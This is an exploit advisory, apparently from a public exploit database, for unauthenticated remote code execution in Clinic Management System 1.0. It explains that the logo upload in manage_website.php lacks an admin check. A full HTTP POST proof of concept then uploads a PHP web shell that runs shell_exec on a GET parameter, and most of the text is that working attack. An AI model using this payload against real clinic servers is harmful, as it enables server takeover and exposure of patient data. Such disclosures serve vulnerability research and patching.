Exploit for Clinic Management System 1.0 Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:157929
# Exploit Title: Clinic Management System 1.0 - Unauthenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-06-02  
# Exploit Author: BKpatron  
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
  
# Vulnerability:  
Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution  
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.  
# vulnerable file : manage_website.php  
# Details:  
login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.  
change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.  
path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php  
  
# Proof of Concept:  
http://localhost/source%20code/manage_website.php  
  
POST /source%20code/manage_website.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------135192786613366  
Content-Length: 2539  
Referer: http://localhost/source%20code/manage_website.php  
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
-----------------------------58631544014332: undefined  
Content-Disposition: form-data; name="title"  
  
-----------------------------58631544014332  
Content-Disposition: form-data; name="short_title"  
  
  
-----------------------------58631544014332  
Content-Disposition: form-data; name="footer"  
  
  
-----------------------------58631544014332  
Content-Disposition: form-data; name="currency_code"  
  
  
-----------------------------58631544014332  
Content-Disposition: form-data; name="currency_symbol"  
  
  
-----------------------------58631544014332  
Content-Disposition: form-data; name="old_website_image"  
  
logo for hospital system.jpg  
-----------------------------58631544014332  
Content-Disposition: form-data; name="website_image"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php echo shell_exec($_GET["cmd"]); ?>